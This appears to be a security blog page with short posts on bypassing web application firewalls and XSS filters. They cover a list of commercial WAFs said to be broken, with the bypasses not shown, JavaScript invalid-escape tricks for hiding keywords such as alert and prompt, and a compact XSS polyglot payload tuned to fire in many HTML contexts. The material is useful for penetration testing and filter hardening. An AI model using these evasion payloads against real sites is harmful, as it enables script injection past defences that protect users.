Bypasses for the most popular WAFs

In Black Hat 2009 I had the honor of personally meeting @sirdarckcat (Eduardo Vela, leader of Google Project Zero) who gave a presentation titled “Our favorite XSS filters and how to attack them“. In his presentation he managed to bypass every single popular Web Application Firewall that was in the market at that time and he said it was a piece of cake.

My conclusion of his talk was that all Web Application Firewalls (WAFs) were practically useless at that time due to the tremendous ease in which they can be bypassed.

Now, more than ten years later, I decided to evaluate the security of many popular WAFs to see their evolution and how robust they’ve become over time. The conclusion is that most of them are still extremely vulnerable to very lethal attacks. They are very easy to bypass so the degree of protection they offer is very low; I broke each WAF in around 1 minute.

I decided to publish the bypasses because it is actually funny how bad these filters are.

The WAFs that I tested are:

  • Amazon Web Services WAF
  • Cisco Secure WAF
  • Cloudflare Web Application Firewall
  • Citrix Netscaler
  • F5 BIG-IP Advanced WAF
  • Fortinet’s Fortiweb WAF
  • Akamai Web Application Firewall
  • Sophos Firewall
  • Incapsula Imperva
  • Broadcom
  • Radware

Click on more to see the bypasses:

(more…)

2023-08-03
XSS filter evasion through invalid escapes

Most of the time, XSS filters look for specific keywords to detect invocation of dangerous functions or variables. A very common bypass technique is to break these specific character sequences like this:

window[‘ale’+’rt’](1)
window[‘alexrt’.replace(/x/,”)](1)

Several years ago I found a nice feature in javascript that allows the attacker to break character sequences in a very easy, quick, straight-forward way. It consists of escaping characters that do not have an escape sequence assigned. For instance, this are valid escapes in javascript:

\’ Simple quote
\” Double doble
\ Backslash
\n New line
\r Carriage return
\v Vertical tab
\t Tab
\b Backspace
\f Page forward

Those characters will be escaped to their corresponding values if you add a backslash before them.

If you use a backslash before any other character javascript will simply ignore the backslashes, so the string will be broken while still preserving its meaning:

window[‘\a\l\ert’](1)
window[‘\pr\o\m\pt’](1)

I hope this will help to do your hacking simpler and faster.

2023-07-28
XSS Detection Optimization

I noticed that Gareth Heyes has a sweet one-liner XSS testing polyglot in his twitter profile (@GarethHeyes). I thought it would be fun to see if I could optimize it by making it shorter and more functional.

I managed to shorten the length by 10 bytes and surprisingly enough it also works in one more context. This is the one-liner polyglot:

javascript:/*</title></textarea></style –></xmp></script><svg/onload=’//”/**/%0a
onmouseover=alert()//’>


It is 103 bytes long and it works in one more context than Gareth’s (his doesn’t work in single line comment contexts (//).

I decided to improve it so that it works in every possible context:

<script>xss</script>
<script>a=’xss‘</script>
<script>a=”xss“</script>
<script>a=”xss“</script>
<script>//xss</script>
<script>/*xss*/</script>
<a href=’xss‘></a>
<title>xss</title>
<textarea>xss</textarea>
<style>xss</style>
<div>xss</div>
<div xss></div>
<div class=’xss‘></div>
<div class=”xss“></div>
<div class=xss></div>
<noscript>xss</noscript>
<noembed>xss</noembed>
<!– xss –>
<xmp>xss</xmp>
<math>xss</math>
<frameset>xss</frameset>

The resulting vector is:

javascript:/*</title></textarea></style –></xmp></script></noembed></noscript></math><svg/onload=’//”/**/%0aonmouseover=alert()//’>

This means that instead of having to send 21 requests to each parameter when testing an application, you only have to make 1 request. This gets the job done in only 5% of the time.


Can you make it even shorter? Let me know in the comments or through twitter (@tr3w_)

2023-07-12